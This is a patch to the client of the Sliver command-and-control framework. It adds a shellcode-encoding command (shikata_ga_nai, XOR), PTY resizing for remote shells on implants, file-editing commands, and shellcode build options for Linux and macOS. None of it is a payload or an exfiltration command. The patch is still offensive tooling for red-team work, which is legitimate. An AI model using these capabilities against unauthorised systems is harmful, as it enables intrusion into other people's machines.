con.PrintInfof("Starting Wireguard listener (udp:%d, tcp-comms:%d, key-exchange:%d) ...\n", lport, nport, keyExchangePort)
wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
Port: lport,
NPort: nport,
KeyPort: keyExchangePort,
})
con.Println()
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
+6 -2
View File
@@ -150,11 +150,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
flags.Bind("", false, chtimesCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.Bool("unix", false, "interpret timestamps as Unix seconds")
f.Bool("unix-ms", false, "interpret timestamps as Unix milliseconds")
f.Bool("rfc3339", false, "interpret timestamps as RFC3339")
f.Bool("rfc1123", false, "interpret timestamps as RFC1123")
})
carapace.Gen(chtimesCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to file to change access timestamps"),
carapace.ActionValues().Usage("last accessed time in DateTime format, i.e. 2006-01-02 15:04:05"),
carapace.ActionValues().Usage("last modified time in DateTime format, i.e. 2006-01-02 15:04:05"),
carapace.ActionValues().Usage("last accessed time (default: 2006-01-02 15:04:05; see --help for format flags)"),
carapace.ActionValues().Usage("last modified time (default: 2006-01-02 15:04:05; see --help for format flags)"),
)
getprivsCmd := &cobra.Command{
+7 -1
View File
@@ -46,6 +46,7 @@ import (
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/command/taskmany"
@@ -69,6 +70,10 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
HiddenDefaultCmd: true,
},
}
if !con.IsCLI {
server.SilenceErrors = true
server.SilenceUsage = true
}
// Utility function to be used for binding new commands to
// the sliver menu: call the function with the name of the
@@ -103,7 +108,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
crack.Commands,
certificates.Commands,
clean.Command,
aka.ServerCommands,
aka.ServerCommands,
)
// C2 Network
@@ -119,6 +124,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
// Payloads
bind(consts.PayloadsHelpGroup,
sgn.Commands,
shellcodeencoders.Commands,
generate.Commands,
builders.Commands,
)
+97
View File
@@ -0,0 +1,97 @@
//go:build !windows
package shell
import (
"context"
"os"
"os/signal"
"sync"
"syscall"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
)
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
if con == nil || con.Rpc == nil {
return func() {}
}
stdoutFd := int(os.Stdout.Fd())
stdinFd := int(os.Stdin.Fd())
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
return func() {}
}
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGWINCH)
stopCh := make(chan struct{})
doneCh := make(chan struct{})
go func() {
defer close(doneCh)
lastCols, lastRows := -1, -1
send := func() bool {
cols, rows, err := term.GetSize(stdoutFd)
if err != nil || cols <= 0 || rows <= 0 {
cols, rows, err = term.GetSize(stdinFd)
}
if err != nil || cols <= 0 || rows <= 0 {
return true
}
if cols == lastCols && rows == lastRows {
return true
}
lastCols, lastRows = cols, rows
req := con.ActiveTarget.Request(cmd)
if req == nil {
return false
}
req.Timeout = int64(2 * time.Second)
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
Request: req,
TunnelID: tunnelID,
Rows: uint32(rows),
Cols: uint32(cols),
})
if status.Code(err) == codes.Unimplemented {
return false
}
return true
}
if !send() {
return
}
for {
select {
case <-stopCh:
return
case <-sigCh:
if !send() {
return
}
}
}
}()
var once sync.Once
return func() {
once.Do(func() {
signal.Stop(sigCh)
close(stopCh)
<-doneCh
})
}
}
+93
View File
@@ -0,0 +1,93 @@
//go:build windows
package shell
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
"os"
"sync"
"time"
)
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
if con == nil || con.Rpc == nil {
return func() {}
}
stdoutFd := int(os.Stdout.Fd())
stdinFd := int(os.Stdin.Fd())
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
return func() {}
}
stopCh := make(chan struct{})
doneCh := make(chan struct{})
go func() {
defer close(doneCh)
ticker := time.NewTicker(250 * time.Millisecond)
defer ticker.Stop()
lastCols, lastRows := -1, -1
send := func() bool {
cols, rows, err := term.GetSize(stdoutFd)
if err != nil || cols <= 0 || rows <= 0 {
cols, rows, err = term.GetSize(stdinFd)
}
if err != nil || cols <= 0 || rows <= 0 {
return true
}
if cols == lastCols && rows == lastRows {
return true
}
lastCols, lastRows = cols, rows
req := con.ActiveTarget.Request(cmd)
if req == nil {
return false
}
req.Timeout = int64(2 * time.Second)
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
Request: req,
TunnelID: tunnelID,
Rows: uint32(rows),
Cols: uint32(cols),
})
if status.Code(err) == codes.Unimplemented {
return false
}
return true
}
if !send() {
return
}
for {
select {
case <-stopCh:
return
case <-ticker.C:
if !send() {
return
}
}
}
}()
var once sync.Once
return func() {
once.Do(func() {
close(stopCh)
<-doneCh
})
}
}
+21
View File
@@ -84,10 +84,25 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
var rows uint32
var cols uint32
if !noPty {
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
if err != nil || rowsInt <= 0 || colsInt <= 0 {
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
}
if err == nil && rowsInt > 0 && colsInt > 0 {
rows = uint32(rowsInt)
cols = uint32(colsInt)
}
}
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(cmd),
Path: shellPath,
EnablePTY: !noPty,
Rows: rows,
Cols: cols,
TunnelID: tunnel.ID,
})
if err != nil {
@@ -120,6 +135,12 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso
}
}
stopPtyResize := func() {}
if !noPty {
stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
}
defer stopPtyResize()
log.Printf("Starting stdin/stdout shell ...")
go func() {
n, err := io.Copy(os.Stdout, tunnel)
@@ -0,0 +1,55 @@
package shellcodeencoders
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the shellcode-encoders command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
shellcodeEncodersCmd := &cobra.Command{
Use: consts.ShellcodeEncodersStr,
Short: "List supported shellcode encoders",
Long: help.GetHelpFor([]string{consts.ShellcodeEncodersStr}),
Args: cobra.NoArgs,
Run: func(cmd *cobra.Command, args []string) {
ShellcodeEncodersCmd(cmd, con, args)
},
GroupID: consts.PayloadsHelpGroup,
}
flags.Bind("shellcode-encoders", false, shellcodeEncodersCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
shellcodeEncodersEncodeCmd := &cobra.Command{
Use: "encode <shellcode file>...",
Short: "Encode shellcode using server encoders",
Long: help.GetHelpFor([]string{consts.ShellcodeEncodersStr, "encode"}),
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ShellcodeEncodersEncodeCmd(cmd, con, args)
},
}
flags.Bind("shellcode-encoders encode", false, shellcodeEncodersEncodeCmd, func(f *pflag.FlagSet) {
f.StringP("encoder", "e", "", "encoder to use (shikata_ga_nai, xor, xor_dynamic)")
f.StringP("arch", "a", "amd64", "architecture of the shellcode")
f.IntP("iterations", "i", 1, "number of encoding iterations")
f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)")
f.StringP("output", "o", "", "output file (or directory when encoding multiple files)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(shellcodeEncodersEncodeCmd, func(comp *carapace.ActionMap) {
(*comp)["encoder"] = ShellcodeEncoderNameCompleter(con)
(*comp)["arch"] = ShellcodeEncoderArchCompleter(con)
(*comp)["output"] = carapace.ActionFiles().Tag("output file/directory")
})
carapace.Gen(shellcodeEncodersEncodeCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
shellcodeEncodersCmd.AddCommand(shellcodeEncodersEncodeCmd)
return []*cobra.Command{shellcodeEncodersCmd}
}
+166
View File
@@ -0,0 +1,166 @@
package shellcodeencoders
import (
"encoding/hex"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
// ShellcodeEncodersEncodeCmd - Encode shellcode files with server encoders.
func ShellcodeEncodersEncodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
encoderFlag, _ := cmd.Flags().GetString("encoder")
if strings.TrimSpace(encoderFlag) == "" {
con.PrintErrorf("Encoder is required (use --encoder). See %s for options.\n", consts.ShellcodeEncodersStr)
return
}
encoderName := normalizeShellcodeEncoderName(encoderFlag)
encoderEnum, ok := shellcodeEncoderEnum(encoderName)
if !ok {
con.PrintErrorf("Unknown encoder %q (see %s for supported encoders)\n", encoderFlag, consts.ShellcodeEncodersStr)
return
}
archFlag, _ := cmd.Flags().GetString("arch")
arch := normalizeShellcodeArch(archFlag)
if arch == "" {
arch = "amd64"
}
iterations, _ := cmd.Flags().GetInt("iterations")
if iterations <= 0 {
iterations = 1
}
badCharsRaw, _ := cmd.Flags().GetString("bad-chars")
badChars, err := decodeHexBytes("bad-chars", badCharsRaw)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
output, _ := cmd.Flags().GetString("output")
outputInfo, err := outputInfoForArgs(output, len(args))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
hadError := false
for _, path := range args {
data, err := os.ReadFile(path)
if err != nil {
con.PrintErrorf("Failed to read %s: %s\n", path, err)
hadError = true
continue
}
resp, err := con.Rpc.ShellcodeEncoder(grpcCtx, &clientpb.ShellcodeEncodeReq{
Encoder: encoderEnum,
Architecture: arch,
Iterations: uint32(iterations),
BadChars: badChars,
Data: data,
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("Failed to encode %s: %s\n", path, err)
hadError = true
continue
}
if resp.GetResponse() != nil && resp.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to encode %s: %s\n", path, resp.GetResponse().GetErr())
hadError = true
continue
}
outputPath, err := resolveOutputPath(path, output, outputInfo, encoderName, len(args) > 1)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", path, err)
hadError = true
continue
}
if err := os.WriteFile(outputPath, resp.Data, 0o644); err != nil {
con.PrintErrorf("Failed to write %s: %s\n", outputPath, err)
hadError = true
continue
}
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputPath, len(resp.Data))
}
if hadError {
con.PrintWarnf("One or more files failed to encode\n")
}
}
func decodeHexBytes(label string, raw string) ([]byte, error) {
trimmed := strings.TrimSpace(raw)
trimmed = strings.TrimPrefix(trimmed, "0x")
trimmed = strings.TrimPrefix(trimmed, "0X")
trimmed = strings.ReplaceAll(trimmed, " ", "")
if trimmed == "" {
return nil, nil
}
data, err := hex.DecodeString(trimmed)
if err != nil {
return nil, fmt.Errorf("%s must be hex encoded: %w", label, err)
}
return data, nil
}
func outputInfoForArgs(output string, argCount int) (os.FileInfo, error) {
if output == "" {
return nil, nil
}
info, err := os.Stat(output)
if err != nil {
if os.IsNotExist(err) {
if argCount > 1 {
if mkErr := os.MkdirAll(output, 0o755); mkErr != nil {
return nil, fmt.Errorf("failed to create output directory %s: %w", output, mkErr)
}
info, err = os.Stat(output)
if err != nil {
return nil, fmt.Errorf("failed to stat output directory %s: %w", output, err)
}
return info, nil
}
return nil, nil
}
return nil, err
}
if argCount > 1 && !info.IsDir() {
return nil, fmt.Errorf("output must be a directory when encoding multiple files")
}
return info, nil
}
func resolveOutputPath(inputPath string, output string, outputInfo os.FileInfo, encoderName string, multiple bool) (string, error) {
suffix := "." + strings.ReplaceAll(encoderName, "_", "-")
base := filepath.Base(inputPath)
if output == "" {
return filepath.Join(filepath.Dir(inputPath), base+suffix), nil
}
if multiple {
if outputInfo == nil || !outputInfo.IsDir() {
return "", fmt.Errorf("output must be a directory when encoding multiple files")
}
return filepath.Join(output, base+suffix), nil
}
if outputInfo != nil && outputInfo.IsDir() {
return filepath.Join(output, base+suffix), nil
}
return output, nil
}
@@ -0,0 +1,103 @@
package shellcodeencoders
import (
"fmt"
"sort"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/rsteube/carapace"
)
var shellcodeEncoderNameToEnum = map[string]clientpb.ShellcodeEncoder{
"shikata_ga_nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
"xor": clientpb.ShellcodeEncoder_XOR,
"xor_dynamic": clientpb.ShellcodeEncoder_XOR_DYNAMIC,
}
func normalizeShellcodeEncoderName(name string) string {
normalized := strings.ToLower(strings.TrimSpace(name))
normalized = strings.ReplaceAll(normalized, "-", "_")
return normalized
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
}
func shellcodeEncoderEnum(name string) (clientpb.ShellcodeEncoder, bool) {
normalized := normalizeShellcodeEncoderName(name)
encoder, ok := shellcodeEncoderNameToEnum[normalized]
return encoder, ok
}
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
}
// ShellcodeEncoderNameCompleter returns available encoder names with supported arches.
func ShellcodeEncoderNameCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
}
nameArchs := map[string][]string{}
for arch, archMap := range encoderMap.GetEncoders() {
if archMap == nil {
continue
}
for name := range archMap.GetEncoders() {
nameArchs[name] = append(nameArchs[name], arch)
}
}
names := make([]string, 0, len(nameArchs))
for name := range nameArchs {
names = append(names, name)
}
sort.Strings(names)
results := []string{}
for _, name := range names {
arches := nameArchs[name]
sort.Strings(arches)
desc := fmt.Sprintf("(%s)", strings.Join(arches, ", "))
results = append(results, name, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("shellcode encoders")
})
}
// ShellcodeEncoderArchCompleter returns available architectures.
func ShellcodeEncoderArchCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
}
arches := make([]string, 0, len(encoderMap.GetEncoders()))
for arch := range encoderMap.GetEncoders() {
arches = append(arches, arch)
}
sort.Strings(arches)
return carapace.ActionValues(arches...).Tag("shellcode architectures")
})
}
@@ -0,0 +1,65 @@
package shellcodeencoders
import (
"sort"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
// ShellcodeEncodersCmd - Display supported shellcode encoders and architectures.
func ShellcodeEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
encoderMap, err := con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
DisplayShellcodeEncoders(encoderMap, con)
}
// DisplayShellcodeEncoders - Display shellcode encoder map from server.
func DisplayShellcodeEncoders(encoderMap *clientpb.ShellcodeEncoderMap, con *console.SliverClient) {
if encoderMap == nil || len(encoderMap.GetEncoders()) == 0 {
con.PrintInfof("No shellcode encoders available\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"Arch", "Encoder", "Description"})
tw.SortBy([]table.SortBy{
{Name: "Arch", Mode: table.Asc},
{Name: "Encoder", Mode: table.Asc},
})
arches := make([]string, 0, len(encoderMap.GetEncoders()))
for arch := range encoderMap.GetEncoders() {
arches = append(arches, arch)
}
sort.Strings(arches)
for _, arch := range arches {
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
continue
}
names := make([]string, 0, len(archMap.GetEncoders()))
for name := range archMap.GetEncoders() {
names = append(names, name)
}
sort.Strings(names)
for _, name := range names {
desc := archMap.GetDescriptions()[name]
tw.AppendRow(table.Row{arch, name, desc})
}
}
con.Println(tw.Render())
}
+9 -1
View File
@@ -27,6 +27,7 @@ import (
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/cursed"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/edit"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
"github.com/bishopfox/sliver/client/command/extensions"
@@ -48,6 +49,7 @@ import (
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/wasm"
"github.com/bishopfox/sliver/client/command/wireguard"
"github.com/bishopfox/sliver/client/command/hexedit"
client "github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/reeflective/console"
@@ -63,6 +65,10 @@ func SliverCommands(con *client.SliverClient) console.Commands {
HiddenDefaultCmd: true,
},
}
if !con.IsCLI {
sliver.SilenceErrors = true
sliver.SilenceUsage = true
}
// Utility function to be used for binding new commands to
// the sliver menu: call the function with the name of the
@@ -79,7 +85,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
// use.Commands,
tasks.Commands,
pivots.Commands,
aka.ImplantCommands,
aka.ImplantCommands,
)
// [ Info ]
@@ -94,6 +100,8 @@ func SliverCommands(con *client.SliverClient) console.Commands {
// [ Filesystem ]
bind(consts.FilesystemHelpGroup,
edit.Commands,
hexedit.Commands,
filesystem.Commands,
)
+13 -3
View File
@@ -285,11 +285,12 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
}
f := pflag.NewFlagSet(constants.ExecuteStr, pflag.ContinueOnError)
f.BoolP("output", "o", true, "capture command output")
f.BoolP("output", "o", execReq.Output, "capture command output")
f.Bool("background", execReq.Background, "start the process in the background and track it")
f.BoolP("loot", "X", false, "save output as loot")
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
f.StringP("stdout", "O", execReq.Stdout, "remote path to redirect STDOUT to")
f.StringP("stderr", "E", execReq.Stderr, "remote path to redirect STDERR to")
execCmd := &cobra.Command{Use: constants.ExecuteStr}
execCmd.Flags().AddFlagSet(f)
@@ -297,6 +298,15 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
exec.PrintExecute(execResult, execCmd, con)
case sliverpb.MsgExecuteChildrenReq:
execChildren := &sliverpb.ExecuteChildren{}
err := proto.Unmarshal(task.Response, execChildren)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
exec.PrintExecuteChildren(execChildren, con)
case sliverpb.MsgSideloadReq:
sideload := &sliverpb.Sideload{}
err := proto.Unmarshal(task.Response, sideload)
+7 -3
View File
@@ -208,8 +208,9 @@ const (
GetGIDStr = "getgid"
WhoamiStr = "whoami"
ShellStr = "shell"
ExecuteStr = "execute"
ShellStr = "shell"
ExecuteStr = "execute"
ExecuteChildrenStr = "children"
LsStr = "ls"
MvStr = "mv"
@@ -220,6 +221,8 @@ const (
CdStr = "cd"
PwdStr = "pwd"
CatStr = "cat"
EditStr = "edit"
HexEditStr = "hex-edit"
DownloadStr = "download"
HeadStr = "head"
TailStr = "tail"
@@ -297,7 +300,8 @@ const (
GetPrivsStr = "getprivs"
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
ShikataGaNai = "shikata-ga-nai"
ShellcodeEncodersStr = "shellcode-encoders"
Cursed = "cursed"
CursedChrome = "chrome"
+8
View File
@@ -31,6 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/leaky"
"golang.org/x/time/rate"
)
var (
@@ -210,6 +211,8 @@ const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
var leakyBuf = leaky.NewLeakyBuf(2048, leakyBufSize)
func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliverpb.SocksData) {
// Client Rate Limiter: 10 operations per second, burst of 1
limiter := rate.NewLimiter(rate.Limit(10), 1)
SocksConnPool.Store(frame.TunnelID, conn)
@@ -241,6 +244,11 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
return
}
if n > 0 {
if err := limiter.Wait(context.Background()); err != nil {
log.Printf("[socks] rate limiter error: %s", err)
return
}
frame.Data = buff[:n]
frame.Sequence = ToImplantSequence
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
+2 -1
View File
@@ -40,7 +40,8 @@ func ArmoryInstallForm(options []ArmoryInstallOption) (*ArmoryInstallFormResult,
Title("Select packages or bundles to install").
Description("Use space to select and enter to install.").
Options(selectOptions...).
Height(listHeight(len(selectOptions))).
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
Height(listHeight(len(selectOptions)) + 2).
Value(&result.SelectedNames)
form := huh.NewForm(huh.NewGroup(field))
+2 -1
View File
@@ -39,7 +39,8 @@ func ArmoryUpdateForm(options []ArmoryUpdateOption) (*ArmoryUpdateFormResult, er
Title("Select updates to apply").
Description("Use space to select and enter to apply.").
Options(selectOptions...).
Height(listHeight(len(selectOptions))).
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
Height(listHeight(len(selectOptions)) + 2).
Value(&result.SelectedIDs)
form := huh.NewForm(huh.NewGroup(field))
+3
View File
@@ -60,6 +60,7 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
case "linux":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("arm64", "arm64"),
huh.NewOption("386", "386"),
}
default:
@@ -83,6 +84,8 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
huh.NewOption("Service", "service"),
huh.NewOption("Shellcode", "shellcode"),
)
} else if result.OS == "darwin" || result.OS == "linux" {
options = append(options, huh.NewOption("Shellcode", "shellcode"))
}
return options
}, &result.OS).
@@ -65,6 +65,7 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
case "linux":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("arm64", "arm64"),
huh.NewOption("386", "386"),
}
default:
@@ -88,6 +89,8 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
huh.NewOption("Service", "service"),
huh.NewOption("Shellcode", "shellcode"),
)
} else if result.OS == "darwin" || result.OS == "linux" {
options = append(options, huh.NewOption("Shellcode", "shellcode"))
}
return options
}, &result.OS).
+5
View File
@@ -44,6 +44,7 @@ func commonArchOptions(goos string) []huh.Option[string] {
case "linux":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("arm64", "arm64"),
huh.NewOption("386", "386"),
}
default:
@@ -64,6 +65,10 @@ func commonFormatOptions(goos string) []huh.Option[string] {
huh.NewOption("Service", "service"),
huh.NewOption("Shellcode", "shellcode"),
)
} else if goos == "darwin" {
options = append(options, huh.NewOption("Shellcode", "shellcode"))
} else if goos == "linux" {
options = append(options, huh.NewOption("Shellcode", "shellcode"))
}
return options
}
+8 -7
View File
@@ -2,13 +2,14 @@ package forms
import (
"errors"
"slices"
"strings"
"github.com/charmbracelet/huh"
"golang.org/x/term"
)
const defaultSelectHeight = 10
const defaultSelectHeight = 5
func getTerminalWidth() int {
// Try to get actual terminal width
@@ -93,7 +94,8 @@ func MultiSelect(title string, options []string, value *[]string) error {
field := huh.NewMultiSelect[string]().
Title(title).
Options(makeStringOptions(options)...).
Height(listHeight(len(options))).
// huh.Select/MultiSelect Height includes title/description, so add 1 for the title line.
Height(listHeight(len(options)) + 1).
Value(value)
form := huh.NewForm(huh.NewGroup(field)).WithWidth(getTerminalWidth())
@@ -115,7 +117,8 @@ func selectPrompt(title string, options []string, value *string, required bool)
field := huh.NewSelect[string]().
Title(title).
Options(makeStringOptions(options)...).
Height(listHeight(len(options))).
// huh.Select Height includes title/description, so add 1 for the title line.
Height(listHeight(len(options)) + 1).
Value(value)
if required {
@@ -147,10 +150,8 @@ func ensureSelectedValue(options []string, value *string) {
*value = options[0]
return
}
for _, option := range options {
if option == *value {
return
}
if slices.Contains(options, *value) {
return
}
*value = options[0]
}
+18 -17
View File
@@ -1,5 +1,23 @@
package packages
/*
Sliver Implant Framework
Copyright (C) 2024 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
@@ -10,23 +28,6 @@ import (
"github.com/jedib0t/go-pretty/v6/table"
)
/*
Sliver Implant Framework
Copyright (C) 2024 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
const (
KeyValueSchemaName = "key-value"
GroupedKeyValueSchemaName = "grouped-key-value"
+30
View File
@@ -0,0 +1,30 @@
package transport
import (
"sync"
"google.golang.org/grpc/keepalive"
)
var (
kaMu sync.RWMutex
kaParams *keepalive.ClientParameters
)
// SetKeepaliveParams configures gRPC keepalive pings for future MTLSConnect dials.
// Behavior is unchanged unless this is called.
func SetKeepaliveParams(p keepalive.ClientParameters) {
kaMu.Lock()
kaParams = &p
kaMu.Unlock()
}
func getKeepaliveParams() (keepalive.ClientParameters, bool) {
kaMu.RLock()
p := kaParams
kaMu.RUnlock()
if p == nil {
return keepalive.ClientParameters{}, false
}
return *p, true
}
+28 -6
View File
@@ -28,6 +28,7 @@ import (
"time"
"google.golang.org/grpc"
"google.golang.org/grpc/connectivity"
"google.golang.org/grpc/credentials"
"github.com/bishopfox/sliver/client/assets"
@@ -71,15 +72,36 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
options := []grpc.DialOption{
grpc.WithTransportCredentials(transportCreds),
grpc.WithPerRPCCredentials(callCreds),
grpc.WithBlock(),
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
}
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
defer cancel()
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
if kp, ok := getKeepaliveParams(); ok {
options = append(options, grpc.WithKeepaliveParams(kp))
}
connection, err := grpc.NewClient(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
if err != nil {
return nil, nil, err
}
// Preserve the legacy grpc.DialContext + grpc.WithBlock behavior: block
// until the channel becomes READY or the timeout expires.
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
defer cancel()
for {
state := connection.GetState()
if state == connectivity.Idle {
connection.Connect()
}
if state == connectivity.Ready {
break
}
if !connection.WaitForStateChange(ctx, state) {
_ = connection.Close()
return nil, nil, ctx.Err()
}
}
return rpcpb.NewSliverRPCClient(connection), connection, nil
}
@@ -120,7 +142,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert
